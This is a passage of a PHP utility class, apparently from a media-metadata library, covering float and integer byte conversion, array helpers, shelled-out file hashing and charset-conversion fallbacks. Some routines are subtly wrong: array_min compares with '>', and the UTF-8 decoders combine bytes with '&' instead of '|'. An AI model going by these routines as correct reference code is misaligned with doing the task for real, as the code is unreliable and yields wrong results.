		if (self::trunc($floatnum) == $floatnum) {
			// it's not floating point
			if (self::intValueSupported($floatnum)) {
				// it's within int range
				$floatnum = (int) $floatnum;
			}
		}
		return $floatnum;
	}

	public static function intValueSupported($num) {
		// check if integers are 64-bit
		static $hasINT64 = null;
		if ($hasINT64 === null) { // 10x faster than is_null()
			$hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1
			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
				define('PHP_INT_MIN', ~PHP_INT_MAX);
			}
		}
		// if integers are 64-bit - no other check required
		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
			return true;
		}
		return false;
	}

	public static function DecimalizeFraction($fraction) {
		list($numerator, $denominator) = explode('/', $fraction);
		return $numerator / ($denominator ? $denominator : 1);
	}


	public static function DecimalBinary2Float($binarynumerator) {
		$numerator   = self::Bin2Dec($binarynumerator);
		$denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator)));
		return ($numerator / $denominator);
	}


	public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) {
		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
		if (strpos($binarypointnumber, '.') === false) {
			$binarypointnumber = '0.'.$binarypointnumber;
		} elseif ($binarypointnumber{0} == '.') {
			$binarypointnumber = '0'.$binarypointnumber;
		}
		$exponent = 0;
		while (($binarypointnumber{0} != '1') || (substr($binarypointnumber, 1, 1) != '.')) {
			if (substr($binarypointnumber, 1, 1) == '.') {
				$exponent--;
				$binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3);
			} else {
				$pointpos = strpos($binarypointnumber, '.');
				$exponent += ($pointpos - 1);
				$binarypointnumber = str_replace('.', '', $binarypointnumber);
				$binarypointnumber = $binarypointnumber{0}.'.'.substr($binarypointnumber, 1);
			}
		}
		$binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT);
		return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent);
	}


	public static function Float2BinaryDecimal($floatvalue) {
		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
		$maxbits = 128; // to how many bits of precision should the calculations be taken?
		$intpart   = self::trunc($floatvalue);
		$floatpart = abs($floatvalue - $intpart);
		$pointbitstring = '';
		while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) {
			$floatpart *= 2;
			$pointbitstring .= (string) self::trunc($floatpart);
			$floatpart -= self::trunc($floatpart);
		}
		$binarypointnumber = decbin($intpart).'.'.$pointbitstring;
		return $binarypointnumber;
	}


	public static function Float2String($floatvalue, $bits) {
		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
		switch ($bits) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			default:
				return false;
				break;
		}
		if ($floatvalue >= 0) {
			$signbit = '0';
		} else {
			$signbit = '1';
		}
		$normalizedbinary  = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits);
		$biasedexponent    = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent
		$exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT);
		$fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT);

		return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false);
	}


	public static function LittleEndian2Float($byteword) {
		return self::BigEndian2Float(strrev($byteword));
	}


	public static function BigEndian2Float($byteword) {
		// ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic
		// http://www.psc.edu/general/software/packages/ieee/ieee.html
		// http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html

		$bitword = self::BigEndian2Bin($byteword);
		if (!$bitword) {
			return 0;
		}
		$signbit = $bitword{0};

		switch (strlen($byteword) * 8) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			case 80:
				// 80-bit Apple SANE format
				// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
				$exponentstring = substr($bitword, 1, 15);
				$isnormalized = intval($bitword{16});
				$fractionstring = substr($bitword, 17, 63);
				$exponent = pow(2, self::Bin2Dec($exponentstring) - 16383);
				$fraction = $isnormalized + self::DecimalBinary2Float($fractionstring);
				$floatvalue = $exponent * $fraction;
				if ($signbit == '1') {
					$floatvalue *= -1;
				}
				return $floatvalue;
				break;

			default:
				return false;
				break;
		}
		$exponentstring = substr($bitword, 1, $exponentbits);
		$fractionstring = substr($bitword, $exponentbits + 1, $fractionbits);
		$exponent = self::Bin2Dec($exponentstring);
		$fraction = self::Bin2Dec($fractionstring);

		if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) {
			// Not a Number
			$floatvalue = false;
		} elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = '-infinity';
			} else {
				$floatvalue = '+infinity';
			}
		} elseif (($exponent == 0) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -0;
			} else {
				$floatvalue = 0;
			}
			$floatvalue = ($signbit ? 0 : -0);
		} elseif (($exponent == 0) && ($fraction != 0)) {
			// These are 'unnormalized' values
			$floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring);
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		} elseif ($exponent != 0) {
			$floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring));
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		}
		return (float) $floatvalue;
	}


	public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) {
		$intvalue = 0;
		$bytewordlen = strlen($byteword);
		if ($bytewordlen == 0) {
			return false;
		}
		for ($i = 0; $i < $bytewordlen; $i++) {
			if ($synchsafe) { // disregard MSB, effectively 7-bit bytes
				//$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems
				$intvalue += (ord($byteword{$i}) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7);
			} else {
				$intvalue += ord($byteword{$i}) * pow(256, ($bytewordlen - 1 - $i));
			}
		}
		if ($signed && !$synchsafe) {
			// synchsafe ints are not allowed to be signed
			if ($bytewordlen <= PHP_INT_SIZE) {
				$signMaskBit = 0x80 << (8 * ($bytewordlen - 1));
				if ($intvalue & $signMaskBit) {
					$intvalue = 0 - ($intvalue & ($signMaskBit - 1));
				}
			} else {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()');
			}
		}
		return self::CastAsInt($intvalue);
	}


	public static function LittleEndian2Int($byteword, $signed=false) {
		return self::BigEndian2Int(strrev($byteword), false, $signed);
	}


	public static function BigEndian2Bin($byteword) {
		$binvalue = '';
		$bytewordlen = strlen($byteword);
		for ($i = 0; $i < $bytewordlen; $i++) {
			$binvalue .= str_pad(decbin(ord($byteword{$i})), 8, '0', STR_PAD_LEFT);
		}
		return $binvalue;
	}


	public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) {
		if ($number < 0) {
			throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers');
		}
		$maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF);
		$intstring = '';
		if ($signed) {
			if ($minbytes > PHP_INT_SIZE) {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()');
			}
			$number = $number & (0x80 << (8 * ($minbytes - 1)));
		}
		while ($number != 0) {
			$quotient = ($number / ($maskbyte + 1));
			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
			$number = floor($quotient);
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT);
	}


	public static function Dec2Bin($number) {
		while ($number >= 256) {
			$bytes[] = (($number / 256) - (floor($number / 256))) * 256;
			$number = floor($number / 256);
		}
		$bytes[] = $number;
		$binstring = '';
		for ($i = 0; $i < count($bytes); $i++) {
			$binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, '0', STR_PAD_LEFT)).$binstring;
		}
		return $binstring;
	}


	public static function Bin2Dec($binstring, $signed=false) {
		$signmult = 1;
		if ($signed) {
			if ($binstring{0} == '1') {
				$signmult = -1;
			}
			$binstring = substr($binstring, 1);
		}
		$decvalue = 0;
		for ($i = 0; $i < strlen($binstring); $i++) {
			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
		}
		return self::CastAsInt($decvalue * $signmult);
	}


	public static function Bin2String($binstring) {
		// return 'hi' for input of '0110100001101001'
		$string = '';
		$binstringreversed = strrev($binstring);
		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
			$string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
		}
		return $string;
	}


	public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) {
		$intstring = '';
		while ($number > 0) {
			if ($synchsafe) {
				$intstring = $intstring.chr($number & 127);
				$number >>= 7;
			} else {
				$intstring = $intstring.chr($number & 255);
				$number >>= 8;
			}
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT);
	}


	public static function array_merge_clobber($array1, $array2) {
		// written by kcØhireability*com
		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_clobber($newarray[$key], $val);
			} else {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}


	public static function array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_noclobber($newarray[$key], $val);
			} elseif (!isset($newarray[$key])) {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	public static function flipped_array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		# naturally, this only works non-recursively
		$newarray = array_flip($array1);
		foreach (array_flip($array2) as $key => $val) {
			if (!isset($newarray[$key])) {
				$newarray[$key] = count($newarray);
			}
		}
		return array_flip($newarray);
	}


	public static function ksort_recursive(&$theArray) {
		ksort($theArray);
		foreach ($theArray as $key => $value) {
			if (is_array($value)) {
				self::ksort_recursive($theArray[$key]);
			}
		}
		return true;
	}

	public static function fileextension($filename, $numextensions=1) {
		if (strstr($filename, '.')) {
			$reversedfilename = strrev($filename);
			$offset = 0;
			for ($i = 0; $i < $numextensions; $i++) {
				$offset = strpos($reversedfilename, '.', $offset + 1);
				if ($offset === false) {
					return '';
				}
			}
			return strrev(substr($reversedfilename, 0, $offset));
		}
		return '';
	}


	public static function PlaytimeString($seconds) {
		$sign = (($seconds < 0) ? '-' : '');
		$seconds = round(abs($seconds));
		$H = (int) floor( $seconds                            / 3600);
		$M = (int) floor(($seconds - (3600 * $H)            ) /   60);
		$S = (int) round( $seconds - (3600 * $H) - (60 * $M)        );
		return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT);
	}


	public static function DateMac2Unix($macdate) {
		// Macintosh timestamp: seconds since 00:00h January 1, 1904
		// UNIX timestamp:      seconds since 00:00h January 1, 1970
		return self::CastAsInt($macdate - 2082844800);
	}


	public static function FixedPoint8_8($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8));
	}


	public static function FixedPoint16_16($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16));
	}


	public static function FixedPoint2_30($rawdata) {
		$binarystring = self::BigEndian2Bin($rawdata);
		return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30));
	}


	public static function CreateDeepArray($ArrayPath, $Separator, $Value) {
		// assigns $Value to a nested array path:
		//   $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt')
		// is the same as:
		//   $foo = array('path'=>array('to'=>'array('my'=>array('file.txt'))));
		// or
		//   $foo['path']['to']['my'] = 'file.txt';
		$ArrayPath = ltrim($ArrayPath, $Separator);
		if (($pos = strpos($ArrayPath, $Separator)) !== false) {
			$ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value);
		} else {
			$ReturnedArray[$ArrayPath] = $Value;
		}
		return $ReturnedArray;
	}

	public static function array_max($arraydata, $returnkey=false) {
		$maxvalue = false;
		$maxkey = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if ($value > $maxvalue) {
					$maxvalue = $value;
					$maxkey = $key;
				}
			}
		}
		return ($returnkey ? $maxkey : $maxvalue);
	}

	public static function array_min($arraydata, $returnkey=false) {
		$minvalue = false;
		$minkey = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if ($value > $minvalue) {
					$minvalue = $value;
					$minkey = $key;
				}
			}
		}
		return ($returnkey ? $minkey : $minvalue);
	}

	public static function XML2array($XMLstring) {
		if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) {
			// http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
			// https://core.trac.wordpress.org/changeset/29378
			$loader = libxml_disable_entity_loader(true);
			$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
			$return = self::SimpleXMLelement2array($XMLobject);
			libxml_disable_entity_loader($loader);
			return $return;
		}
		return false;
	}

	public static function SimpleXMLelement2array($XMLobject) {
		if (!is_object($XMLobject) && !is_array($XMLobject)) {
			return $XMLobject;
		}
		$XMLarray = (is_object($XMLobject) ? get_object_vars($XMLobject) : $XMLobject);
		foreach ($XMLarray as $key => $value) {
			$XMLarray[$key] = self::SimpleXMLelement2array($value);
		}
		return $XMLarray;
	}


	// Allan Hansen <ahØartemis*dk>
	// self::md5_data() - returns md5sum for a file from startuing position to absolute end position
	public static function hash_data($file, $offset, $end, $algorithm) {
		static $tempdir = '';
		if (!self::intValueSupported($end)) {
			return false;
		}
		switch ($algorithm) {
			case 'md5':
				$hash_function = 'md5_file';
				$unix_call     = 'md5sum';
				$windows_call  = 'md5sum.exe';
				$hash_length   = 32;
				break;

			case 'sha1':
				$hash_function = 'sha1_file';
				$unix_call     = 'sha1sum';
				$windows_call  = 'sha1sum.exe';
				$hash_length   = 40;
				break;

			default:
				throw new Exception('Invalid algorithm ('.$algorithm.') in self::hash_data()');
				break;
		}
		$size = $end - $offset;
		while (true) {
			if (GETID3_OS_ISWINDOWS) {

				// It seems that sha1sum.exe for Windows only works on physical files, does not accept piped data
				// Fall back to create-temp-file method:
				if ($algorithm == 'sha1') {
					break;
				}

				$RequiredFiles = array('cygwin1.dll', 'head.exe', 'tail.exe', $windows_call);
				foreach ($RequiredFiles as $required_file) {
					if (!is_readable(GETID3_HELPERAPPSDIR.$required_file)) {
						// helper apps not available - fall back to old method
						break 2;
					}
				}
				$commandline  = GETID3_HELPERAPPSDIR.'head.exe -c '.$end.' '.escapeshellarg(str_replace('/', DIRECTORY_SEPARATOR, $file)).' | ';
				$commandline .= GETID3_HELPERAPPSDIR.'tail.exe -c '.$size.' | ';
				$commandline .= GETID3_HELPERAPPSDIR.$windows_call;

			} else {

				$commandline  = 'head -c'.$end.' '.escapeshellarg($file).' | ';
				$commandline .= 'tail -c'.$size.' | ';
				$commandline .= $unix_call;

			}
			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
				//throw new Exception('PHP running in Safe Mode - backtick operator not available, using slower non-system-call '.$algorithm.' algorithm');
				break;
			}
			return substr(`$commandline`, 0, $hash_length);
		}

		if (empty($tempdir)) {
			// yes this is ugly, feel free to suggest a better way
			require_once(dirname(__FILE__).'/getid3.php');
			$getid3_temp = new getID3();
			$tempdir = $getid3_temp->tempdir;
			unset($getid3_temp);
		}
		// try to create a temporary file in the system temp directory - invalid dirname should force to system temp dir
		if (($data_filename = tempnam($tempdir, 'gI3')) === false) {
			// can't find anywhere to create a temp file, just fail
			return false;
		}

		// Init
		$result = false;

		// copy parts of file
		try {
			self::CopyFileParts($file, $data_filename, $offset, $end - $offset);
			$result = $hash_function($data_filename);
		} catch (Exception $e) {
			throw new Exception('self::CopyFileParts() failed in getid_lib::hash_data(): '.$e->getMessage());
		}
		unlink($data_filename);
		return $result;
	}

	public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) {
		if (!self::intValueSupported($offset + $length)) {
			throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit');
		}
		if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) {
			if (($fp_dest = fopen($filename_dest, 'wb'))) {
				if (fseek($fp_src, $offset) == 0) {
					$byteslefttowrite = $length;
					while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) {
						$byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite);
						$byteslefttowrite -= $byteswritten;
					}
					return true;
				} else {
					throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source);
				}
				fclose($fp_dest);
			} else {
				throw new Exception('failed to create file for writing '.$filename_dest);
			}
			fclose($fp_src);
		} else {
			throw new Exception('failed to open file for reading '.$filename_source);
		}
		return false;
	}

	public static function iconv_fallback_int_utf8($charval) {
		if ($charval < 128) {
			// 0bbbbbbb
			$newcharstring = chr($charval);
		} elseif ($charval < 2048) {
			// 110bbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		} elseif ($charval < 65536) {
			// 1110bbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>  12) | 0xE0);
			$newcharstring .= chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		} else {
			// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>  18) | 0xF0);
			$newcharstring .= chr(($charval >>  12) | 0xC0);
			$newcharstring .= chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		}
		return $newcharstring;
	}

	// ISO-8859-1 => UTF-8
	public static function iconv_fallback_iso88591_utf8($string, $bom=false) {
		if (function_exists('utf8_encode')) {
			return utf8_encode($string);
		}
		// utf8_encode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support)
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xEF\xBB\xBF";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$charval = ord($string{$i});
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	// ISO-8859-1 => UTF-16BE
	public static function iconv_fallback_iso88591_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFE\xFF";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$newcharstring .= "\x00".$string{$i};
		}
		return $newcharstring;
	}

	// ISO-8859-1 => UTF-16LE
	public static function iconv_fallback_iso88591_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFF\xFE";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$newcharstring .= $string{$i}."\x00";
		}
		return $newcharstring;
	}

	// ISO-8859-1 => UTF-16LE (BOM)
	public static function iconv_fallback_iso88591_utf16($string) {
		return self::iconv_fallback_iso88591_utf16le($string, true);
	}

	// UTF-8 => ISO-8859-1
	public static function iconv_fallback_utf8_iso88591($string) {
		if (function_exists('utf8_decode')) {
			return utf8_decode($string);
		}
		// utf8_decode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support)
		$newcharstring = '';
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string{$offset}) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
							(ord($string{($offset + 3)}) & 0x3F);
				$offset += 4;
			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
							(ord($string{($offset + 2)}) & 0x3F);
				$offset += 3;
			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
							(ord($string{($offset + 1)}) & 0x3F);
				$offset += 2;
			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string{$offset});
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 256) ? chr($charval) : '?');
			}
		}
		return $newcharstring;
	}

	// UTF-8 => UTF-16BE
	public static function iconv_fallback_utf8_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFE\xFF";
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string{$offset}) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
							(ord($string{($offset + 3)}) & 0x3F);
				$offset += 4;
			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
							(ord($string{($offset + 2)}) & 0x3F);
				$offset += 3;
			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
							(ord($string{($offset + 1)}) & 0x3F);
				$offset += 2;
			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string{$offset});
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?');
			}
		}
		return $newcharstring;
	}

	// UTF-8 => UTF-16LE
	public static function iconv_fallback_utf8_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFF\xFE";
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string{$offset}) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x07) << 18) &
						   ((ord($string{($offset + 1)}) & 0x3F) << 12) &
						   ((ord($string{($offset + 2)}) & 0x3F) <<  6) &
							(ord($string{($offset + 3)}) & 0x3F);
				$offset += 4;
			} elseif ((ord($string{$offset}) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x0F) << 12) &
						   ((ord($string{($offset + 1)}) & 0x3F) <<  6) &
							(ord($string{($offset + 2)}) & 0x3F);
				$offset += 3;
			} elseif ((ord($string{$offset}) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string{($offset + 0)}) & 0x1F) <<  6) &
							(ord($string{($offset + 1)}) & 0x3F);
				$offset += 2;
			} elseif ((ord($string{$offset}) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string{$offset});
				$offset += 1;
			} else {
				// error? maybe throw some warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00");
			}
		}
		return $newcharstring;
	}

	// UTF-8 => UTF-16LE (BOM)
	public static function iconv_fallback_utf8_utf16($string) {
		return self::iconv_fallback_utf8_utf16le($string, true);
	}

	// UTF-16BE => UTF-8
	public static function iconv_fallback_utf16be_utf8($string) {
		if (substr($string, 0, 2) == "\xFE\xFF") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	// UTF-16LE => UTF-8
	public static function iconv_fallback_utf16le_utf8($string) {
		if (substr($string, 0, 2) == "\xFF\xFE") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	// UTF-16BE => ISO-8859-1
	public static function iconv_fallback_utf16be_iso88591($string) {
		if (substr($string, 0, 2) == "\xFE\xFF") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	// UTF-16LE => ISO-8859-1
	public static function iconv_fallback_utf16le_iso88591($string) {
		if (substr($string, 0, 2) == "\xFF\xFE") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	// UTF-16 (BOM) => ISO-8859-1
	public static function iconv_fallback_utf16_iso88591($string) {
		$bom = substr($string, 0, 2);
		if ($bom == "\xFE\xFF") {
			return self::iconv_fallback_utf16be_iso88591(substr($string, 2));
		} elseif ($bom == "\xFF\xFE") {
			return self::iconv_fallback_utf16le_iso88591(substr($string, 2));
		}
		return $string;
	}

	// UTF-16 (BOM) => UTF-8
	public static function iconv_fallback_utf16_utf8($string) {
		$bom = substr($string, 0, 2);
		if ($bom == "\xFE\xFF") {
			return self::iconv_fallback_utf16be_utf8(substr($string, 2));
		} elseif ($bom == "\xFF\xFE") {
			return self::iconv_fallback_utf16le_utf8(substr($string, 2));
		}
		return $string;
	}

	public static function iconv_fallback($in_charset, $out_charset, $string) {

		if ($in_charset == $out_charset) {
			return $string;
		}

		// mb_convert_encoding() availble
		if (function_exists('mb_convert_encoding')) {
			if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, "\x00");
						break;
				}
				return $converted_string;
			}
			return $string;
		}
		// iconv() availble
		else if (function_exists('iconv')) {
			if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, "\x00");
						break;
				}
				return $converted_string;
			}

			// iconv() may sometimes fail with "illegal character in input string" error message
			// and return an empty string, but returning the unconverted string is more useful
			return $string;
		}


		// neither mb_convert_encoding or iconv() is available
		static $ConversionFunctionList = array();
		if (empty($ConversionFunctionList)) {
			$ConversionFunctionList['ISO-8859-1']['UTF-8']    = 'iconv_fallback_iso88591_utf8';
			$ConversionFunctionList['ISO-8859-1']['UTF-16']   = 'iconv_fallback_iso88591_utf16';
			$ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be';
			$ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le';
			$ConversionFunctionList['UTF-8']['ISO-8859-1']    = 'iconv_fallback_utf8_iso88591';
			$ConversionFunctionList['UTF-8']['UTF-16']        = 'iconv_fallback_utf8_utf16';
			$ConversionFunctionList['UTF-8']['UTF-16BE']      = 'iconv_fallback_utf8_utf16be';
			$ConversionFunctionList['UTF-8']['UTF-16LE']      = 'iconv_fallback_utf8_utf16le';
			$ConversionFunctionList['UTF-16']['ISO-8859-1']   = 'iconv_fallback_utf16_iso88591';
			$ConversionFunctionList['UTF-16']['UTF-8']        = 'iconv_fallback_utf16_utf8';
			$ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591';
			$ConversionFunctionList['UTF-16LE']['UTF-8']      = 'iconv_fallback_utf16le_utf8';
